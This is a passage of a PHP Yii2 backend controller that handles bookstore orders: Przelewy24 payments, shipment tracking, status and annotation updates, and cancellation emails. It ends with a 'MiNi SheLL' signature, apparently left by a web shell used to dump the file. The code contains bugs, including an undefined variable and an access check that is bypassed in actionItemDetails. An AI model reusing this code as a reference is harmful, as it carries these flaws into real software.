                ->where($whereParts)
                ->andWhere(['status' => [BookstoreOrderStatus::NEW_CREATED, BookstoreOrderStatus::ACCEPTED]])
                ->andWhere(['not', ['delivery_method' => null]])
                ->andWhere(['or_cash_on_delivery' => 0])
                ->indexBy('id_order')
                ->all();
        
        if(empty($modelsOrders)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie masz żadnych nieopłaconych zamówień.')); 
            return $this->redirect([!empty($modelCompany) ? 'index-own' : 'index-private']);
        }        
        foreach($modelsOrders as $idOrder => $modelOrder) {
            $merchantId = $modelOrder->dealerCompany->getSettingsKey('przelewy24_id');
            if(empty($merchantId)) {
                unset($modelsOrders[$idOrder]);
            }
        }
        if(empty($modelsOrders)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie masz żadnych nieopłaconych zamówień.')); 
            return $this->redirect([!empty($modelCompany) ? 'index-own' : 'index-private']);
        }
        
        $model = current($modelsOrders);
        $modelManagedCompany = Yii::$app->session->get('managedCompany');
        if(!empty($model->id_company) && !empty($modelManagedCompany) && $model->id_company === $modelManagedCompany->id_company) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-by-companies';
        } elseif($model->dealer_id_company === $modelManagedCompany->id_company) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';
        } elseif($model->id_user === Yii::$app->user->id) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-private';
        } else {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-all';
        }
        
        $modelForm = new \common\models\BookstoreOrdersPaymentForm(['modelsOrders' => $modelsOrders]);
        $modelForm->listSelectedOrders = array_keys($modelsOrders);
        
        $outputParams = [
            'modelForm' => $modelForm,
            'modelCompany' => $modelCompany,
            'modelUser' => $modelUser
        ];
        
        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['listSelectedOrders']);
        }
        
        if(Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('pay', $outputParams);
            } 
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('pay', $outputParams);
            }
            
            $p24 = Yii::$app->przelewy24New;
            
            $flag = $modelForm->fillTransactionData($p24, \yii\helpers\Url::to(['bookstoreorders/'.(!empty($modelCompany) ? 'index-own' : 'index-private')], true));
            if(!$flag) {
                list($errorCode, $errorMessage) = $p24->getError(false);
                Yii::$app->session->addFlash('error', $errorMessage);
                return $this->render('pay', $outputParams);
            }
            
            $token = $p24->registerTransaction(false);
            if($token === false) {
//                var_dump($p24->getError()); exit;
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas rejestrowania płatności.'));
                return $this->render('pay', $outputParams);
            }
            //@todo proteza
//            var_dump($token);exit;
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $modelForm->savePaymentDetails($token);            
            if(!$flag) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                return $this->render('pay', $outputParams);
            }
            
            $transactionUrl = $p24->getTransactionRequestUrl($token);
            
            $transaction->commit();

            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Dziękujemy za zlecenie płatności. Oczekujemy na potwierdzenie Twojej płatności.')); 
            return $this->redirect($transactionUrl);
        }
        
        return $this->render('pay', $outputParams);
    }
    
//    public function actionSelectPickupPoint($id)
//    {
//        $modelOrder = $this->findModel($id);
//        
//        $deliveryMethod = Yii::$app->request->get('delivery_method');
//        
//        if(empty($deliveryMethod) || !in_array($deliveryMethod, [\common\models\types\DeliveryMethod::UPS_PICKUP_POINTS])) {
//            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
//            return $this->renderAjax('delivery_pickup_point', []);
//        }
//        
//        $lat = $lng = null;
//        
//        $context = stream_context_create([
//            'http' => [
//                'method' => 'GET',
//                'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0) \r\n"
//            ]
//        ]);
//        
//        $address = $modelOrder->shipping_street.' '.$modelOrder->shipping_building_number.', '.$modelOrder->shipping_postcode.' '.$modelOrder->shipping_locality;        
//        $nominatimData = json_decode(file_get_contents('https://nominatim.openstreetmap.org/search?q='.urlencode($address).'&format=json&limit=1', false, $context), true);
//        if(!empty($nominatimData[0]) && $nominatimData[0]['lat']) {
//            $lat = $nominatimData[0]['lat'];
//            $lng = $nominatimData[0]['lon'];
//        }
//        
//        if(empty($lat)) {
//            $pna = \common\models\GeoPna::find()->select(['lat', 'lng'])->where(['postcode' => $modelOrder->shipping_postcode])->asArray()->one();
//            if($pna !== null) {
//                $lat = $pna['lat'];
//                $lng = $pna['lng'];
//            }
//        }
//        
//        if(empty($lat)) {
//            $lat = '52.0693234';
//            $lng = '19.4803112';
//        }
//        
//        $countryCode = !empty($modelOrder->shipping_id_country) ? $modelOrder->shipping_id_country : 'PL';
//        
//        $locations = [];
//        
//        if($deliveryMethod === \common\models\types\DeliveryMethod::UPS_PICKUP_POINTS) {
//            $locations = Yii::$app->upsLocator->getPickupPoints(
//                [
//                    'address' => $modelOrder->shipping_street.' '.$modelOrder->shipping_building_number,
//                    'locality' => $modelOrder->shipping_locality,
//                    'postcode' => $modelOrder->shipping_postcode,
//                    'country' => $modelOrder->shipping_id_country
//                ],
//                100,
//                15
//            );
//            if(!$locations) {
//                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas pobierania danych z zewnętrznej usługi.'));
//                $locations = [];
//            }
//        }        
//        
//        return $this->renderAjax('delivery_pickup_point', [
//            'deliveryMethod' => $deliveryMethod,
//            'lat' => $lat,
//            'lng' => $lng,
//            'locations' => $locations,
//            'countryCode' => $countryCode
//        ]);
//    }
    
//    public function actionGetPickupPointsLocations()
//    {
//        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
//        $this->layout = false;
//        
//        $deliveryMethod = Yii::$app->request->post('deliveryMethod');
//        
//        if(empty($deliveryMethod) || !in_array($deliveryMethod, [\common\models\types\DeliveryMethod::UPS_PICKUP_POINTS])) {
//            return false;
//        }
//        
//        $lat = Yii::$app->request->post('lat');
//        $lng = Yii::$app->request->post('lng');
//        
//        $locations = [];
//        
//        if($deliveryMethod === \common\models\types\DeliveryMethod::UPS_PICKUP_POINTS) {
//            $requestData = [];
//            if(!empty($lat) && !empty($lng)) {
//                $requestData['lat'] = $lat;
//                $requestData['lng'] = $lng;
//                $requestData['country'] = Yii::$app->request->post('country');
//            } else {
//                foreach(['address', 'locality', 'region', 'postcode', 'country'] as $fieldName) {
//                    if(!empty(Yii::$app->request->post($fieldName))) {
//                        $requestData[$fieldName] = Yii::$app->request->post($fieldName);
//                    }
//                }
//            }
//
//            try {
//                $locations = Yii::$app->upsLocator->getPickupPoints($requestData, 30, 15);
//            } catch(\Exception $e) {
//                return false;
//            }
//        }
//        
//        return $locations;
//    }

    /**
     * Deletes an existing BookstoreOrders model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);    
        
        if(!Yii::$app->user->can('deleteBookstoreOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        if(!in_array($model->status, [BookstoreOrderStatus::ACCEPTED, BookstoreOrderStatus::CANCELED, BookstoreOrderStatus::NEW_CREATED])) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.')); 
            return $this->redirect(['view', 'id' => $model->id_order]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();     
        
        if($model->delete() !== false) {
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect([Yii::$app->user->can('deleteBookstoreOrders') ? 'index-all' : 'index-assigned']);
    }
    
    public function actionSetShipmentNumbers($id)
    {        
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('setShipmentNumbersForBookstoreOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }        
        
        $modelManagedCompany = Yii::$app->session->get('managedCompany');
        if(!empty($model->id_company) && !empty($modelManagedCompany) && $model->id_company === $modelManagedCompany->id_company) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-by-companies';
        } elseif($model->dealer_id_company === $modelManagedCompany->id_company) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';
        } elseif($model->id_user === Yii::$app->user->id) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-private';
        } else {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-all';
        }
        
        $model->setScenario('updateAssigned');
        
        $baseModelShipmentNumber = new \backend\models\ShipmentNumberForm();
        
        $modelsShipmentNumbers = [];
        if(!empty($model->shipment_numbers)) {
            foreach($model->shipment_numbers as $shipmentNumber) {
                $modelShipmentNumber = new \backend\models\ShipmentNumberForm();
                $modelShipmentNumber->carrier = $shipmentNumber['carrier'];
                $modelShipmentNumber->trackingNumber = $shipmentNumber['trackingNumber'];
                $modelShipmentNumber->orFromAbroad = (int)$shipmentNumber['orFromAbroad'];
                
                $modelsShipmentNumbers[] = $modelShipmentNumber;
            }
        }
        
        if(Yii::$app->request->getIsPost()) {
            $postShipmentNumbers = Yii::$app->request->post('ShipmentNumberForm', []);
            $postShipmentNumbersKeys = array_map('intval', array_keys($postShipmentNumbers));
            if(!empty($postShipmentNumbers)) {                
                foreach($postShipmentNumbers as $key => $value) {
                    if(!isset($modelsShipmentNumbers[$key])) {
                        $modelsShipmentNumbers[$key] = new \backend\models\ShipmentNumberForm();
                        $modelsShipmentNumbers[$key]->carrier = $value['carrier'];
                        $modelsShipmentNumbers[$key]->trackingNumber = $value['trackingNumber'];
                        $modelsShipmentNumbers[$key]->orFromAbroad = (int)$value['orFromAbroad'];
                    }
                }
            }
        }
        
        $outputParams = [
            'modelOrder' => $model, 
            'modelsShipmentNumbers' => $modelsShipmentNumbers, 
            'baseModelShipmentNumber' => $baseModelShipmentNumber,
        ];
//        var_dump(Yii::$app->request->isPjax); 
//        exit;
        if (Yii::$app->request->isPost && Yii::$app->request->isAjax && !Yii::$app->request->isPjax && (empty($postShipmentNumbersKeys) || \yii\base\Model::loadMultiple($modelsShipmentNumbers, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return !empty($postShipmentNumbersKeys) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsShipmentNumbers, ['carrier', 'trackingNumber', 'orFromAbroad']) : [];
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!empty($postShipmentNumbersKeys) && !\yii\base\Model::loadMultiple($modelsShipmentNumbers, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set_shipment_numbers', $outputParams);
            }
            
            if(!empty($modelsShipmentNumbers)) {                
                foreach($modelsShipmentNumbers as $key => $modelShipmentNumber) {
                    if(!$modelContactData->isNewRecord && !in_array($key, $postShipmentNumbersKeys)) {
                        unset($modelsShipmentNumbers[$key]);
                    } else {
                        $modelShipmentNumber->orFromAbroad = intval($modelShipmentNumber->orFromAbroad);                   
                    }
                }
            }
            
            if(!empty($modelsShipmentNumbers) && !\yii\base\Model::validateMultiple($modelsShipmentNumbers)) {
                $errorsFromModelsShipmentNumbers = [];
                if(!empty($modelsShipmentNumbers)) {
                    foreach($modelsShipmentNumbers as $modelShipmentNumber) {
                        if($modelShipmentNumber->hasErrors()) {
                            foreach($modelShipmentNumber->getErrors() as $error) {
                                $errorsFromModelsShipmentNumbers[] = $error;
                            }
                        }
                    }
                }
                Yii::$app->session->addFlash('error', $errorsFromModelsShipmentNumbers);
                return $this->conditionalRender('set_shipment_numbers', $outputParams);
            }            
            
            $shipmentNumbers = [];
            if(!empty($modelsShipmentNumbers)) {                    
                foreach($modelsShipmentNumbers as $modelShipmentNumber) {
                    if(!$modelShipmentNumber->isFilled()) {
                        continue;
                    }
                    $shipmentNumbers[] = $modelShipmentNumber->getParsedData(); 
                }                    
            } 

            $model->shipment_numbers = $shipmentNumbers;                
            $flag = $model->save();
            
            if($flag) {             
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
//                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_order]);
//                }                
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            }
        }
        
        return $this->conditionalRender('set_shipment_numbers', $outputParams);
    }
    
    public function actionChangeOrderStatus($id)
    {        
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('changeStatusForAssignedBookstoreOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }        
        
        $model->setScenario('update');
        
        Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';
        
        $outputParams = [
            'modelOrder' => $model, 
        ];
        
        if (Yii::$app->request->isPost && Yii::$app->request->isAjax && !Yii::$app->request->isPjax) {
            $postData =  Yii::$app->request->post('BookstoreOrders');
            $model->status = $postData['status'];
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['status']);
        }
        
        if(Yii::$app->request->getIsPost()) {
            $postData =  Yii::$app->request->post('BookstoreOrders');
            $model->status = $postData['status'];
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('change_order_status', $outputParams);
            }
            
            if($model->save(false)) { 
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                 
//                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_order]);
//                } 
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
            }
        }
        
        return $this->conditionalRender('change_order_status', $outputParams);
    }
    
    public function actionUpdateAnnotations($id)
    {        
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('updateAnnotationsForAssignedBookstoreOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }        
        
        $model->setScenario('update');
        
        Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';        
        
        $outputParams = [
            'modelOrder' => $model, 
        ];
        
        if (Yii::$app->request->isPost && Yii::$app->request->isAjax && !Yii::$app->request->isPjax) {
            $postData =  Yii::$app->request->post('BookstoreOrders');
            $model->annotations = $postData['annotations'];
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['annotations']);
        }
        
        if(Yii::$app->request->getIsPost()) {
            $postData =  Yii::$app->request->post('BookstoreOrders');
            $model->annotations = $postData['annotations'];
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_annotations', $outputParams);
            }
            
            if($model->save(false)) { 
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                 
//                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_order]);
//                } 
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
            }
        }
        
        return $this->conditionalRender('update_annotations', $outputParams);
    }
    
    public function actionCancel($id)
    {        
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('cancelOwnBookstoreOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelManagedCompany = Yii::$app->session->get('managedCompany');
        if(!empty($model->id_company) && !empty($modelManagedCompany) && $model->id_company === $modelManagedCompany->id_company) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-by-companies';
        } else {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-private';
        } 
        
        $modelForm = new \backend\models\BookstoreOrderCancelForm();
        $modelForm->id_order = $model->id_order;
        
        $outputParams = [
            'modelOrder' => $model, 
            'modelForm' => $modelForm
        ];
        
        if (Yii::$app->request->isPost && Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['status']);
        }
        
        if(Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->redirect(['view', 'id' => $model->id_order]);
            }  
            $modelForm->id_order = $model->id_order;
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('cancel', $outputParams);
            }
            
            $flag = true;
            
            $smtpSettings = $model->portal->getSettingsKey('smtp_settings');
            if(empty($smtpSettings)) {
                $flag = false;
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $model->setScenario('update');
            $model->status = BookstoreOrderStatus::CANCELED; 
            $flag = $flag && $model->save(false);
            
            if($flag) {
                //wysyłamy maile
                
                $mailer = Yii::$app->mailer;
                $mailer->htmlLayout = 'layouts/main-html';      
                $mailer->textLayout = 'layouts/main-text'; 
                $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
                
                if(!empty($model->dealerCompany)) {
                    $dealerEmail = null;
                    
                    $dealerEmail = $model->dealerCompany->user->getContactData()
                            ->select(['data_value'])
                            ->where([
                                'data_type' => \common\models\types\ContactDataType::EMAIL,
                                'required' => 1,
                            ])
                            ->scalar();
                    if(empty($dealerEmail)) {
                        $dealerEmail = $model->dealerCompany->getContactData()
                            ->select(['data_value'])
                            ->where(['data_type' => \common\models\types\ContactDataType::EMAIL])
                            ->orderBy('data_order ASC')
                            ->limit(1)
                            ->scalar();
                    }
                    
                    if(!empty($dealerEmail)) {
                        //wysyłamy do sprzedającego informację o analuowaniu zamówienia //(###MAIL_63###)
                        $flag = $mailer->compose(
                                [
                                    'html' => 'order_book_cancel_dealer_html',
                                    'text' => 'order_book_cancel_dealer_text'
                                ],
                                [
                                    'modelOrder' => $model
                                ]
                            )
                            ->setFrom([$smtpSettings['username'] => $model->portal->domain.' - system vManager'])
                            ->setTo([$dealerEmail => $model->dealer_name]) 
//                            ->setTo(['r.sobieszczyk86@gmail.com'])
                            ->setSubject(Yii::t('common-mails', 'Kupujący {purchaserName} anulował zakup u Ciebie', ['purchaserName' => $model->invoicing_name]))
                            ->send();
//                        var_dump('Wysyłka maila do sprzedającego - '.($flag ? 'OK' : 'FAIL'));
                    }
                }
                
                if($flag) {
                    //wysyłamy do kupującego potwierdzennie analuowania zamówienia //(###MAIL_64###)
                    $flag = $mailer->compose(
                            [
                                'html' => 'order_book_cancel_purchaser_html',
                                'text' => 'order_book_cancel_purchaser_text'
                            ],
                            [
                                'modelOrder' => $model
                            ]
                        )
                        ->setFrom([$smtpSettings['username'] => $model->portal->domain.' - system vManager'])
                        ->setTo([$model->email => $model->forename.' '.$model->surname]) 
//                        ->setTo(['r.sobieszczyk86@gmail.com'])
                        ->setSubject(Yii::t('common-mails', 'Anulowałeś/aś zakup u {dealerName}', ['dealerName' => $model->dealer_name]))
                        ->send();
//                    var_dump('Wysyłka maila do kupującego - '.($flag ? 'OK' : 'FAIL'));
                }
            }
            
            if($flag) { 
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                 
//                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['view', 'id' => $model->id_order]);
//                } 
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
            }
        }
        
        return $this->conditionalRender('cancel', $outputParams);
    }
    
    /**
     * Lists paid BookstoreOrders models.
     * @param integer $id
     * @return mixed
     */
    public function actionIndexPaymentsFromPurchasers($id)
    {
        $modelCompany = Companies::findOne($id);
        if($modelCompany === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $queryParams = Yii::$app->request->queryParams;               
        
        if(Yii::$app->user->can('indexBookstoreOrdersPayments')) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-all';
        } elseif(Yii::$app->user->can('indexBookstoreOrdersPayments', ['model' => $modelCompany])) {            
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';  
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.')); 
        } 
        
        $searchModel = new \backend\models\BookstoreOrdersPaymentsFromPurchasersSearch();
        $queryParams['BookstoreOrdersPaymentsFromPurchasersSearch']['dealer_id_company'] = $modelCompany->id_company;            
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index_payments_from_purchasers', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany
        ]);
    }
    
    public function actionUsersList()
    {
        if(!\Yii::$app->user->can('createBookstoreOrders') && !\Yii::$app->user->can('updateBookstoreOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new UsersSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('users_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionCompaniesList()
    {
        if(!\Yii::$app->user->can('createBookstoreOrders') && !\Yii::$app->user->can('updateBookstoreOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idUser = Yii::$app->request->get('idUser');
        $orAsDealer = ((int)Yii::$app->request->get('asDealer')) === 1 ? true : false;
        $queryParams = Yii::$app->request->queryParams;
        
        if(!empty($idUser)) {
            if(($modelUser = Users::findOne($idUser)) === null) {
                throw new NotFoundHttpException('The requested page does not exist.');
            }
            $queryParams['CompaniesSearch']['id_user'] = $modelUser->id_user;
        }

//        if($orAsDealer) {
            $queryParams['CompaniesSearch']['withInvoicingData'] = true;
//        }
        
        $searchModel = new CompaniesSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'orAsDealer' => $orAsDealer
        ]);
    }
    
    public function actionItemsList()
    {
        $modelOrder = !empty(Yii::$app->request->get('idOrder')) ? $this->findModel((int)Yii::$app->request->get('idOrder')) : null;        
        if(!Yii::$app->user->can('updateBookstoreOrders', ['model' => $modelOrder])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $idDealerCompany = !empty($modelOrder) ? $modelOrder->dealer_id_company : Yii::$app->request->get('idDealerCompany');
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['BooksSearch']['id_company'] = $idDealerCompany;        
        
        $searchModel = new BooksSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->renderAjax('items_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'idOrder' => !empty($modelOrder) ? $modelOrder->id_order : null
        ]);
    }
    
    public function actionItemDetails($id)
    {
        $modelOrder = !empty(Yii::$app->request->get('idOrder')) ? $this->findModel((int)Yii::$app->request->get('idOrder')) : null;        
        if(!Yii::$app->user->can('updateBookstoreOrders', ['model' => $modelOrder])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(!empty($modelOrder)) {
            $model = Books::find()->where(['id_book' => $id, 'id_company' => $modelOrder->dealer_id_company]);
        } else {
            $model = Books::findOne($id);
        }
        
        if(empty($model)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model = Books::findOne($id);

        return $this->renderAjax('item_details', [
            'model' => $model,
        ]);
    }

    /**
     * Finds the BookstoreOrders model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return BookstoreOrders the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = BookstoreOrders::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com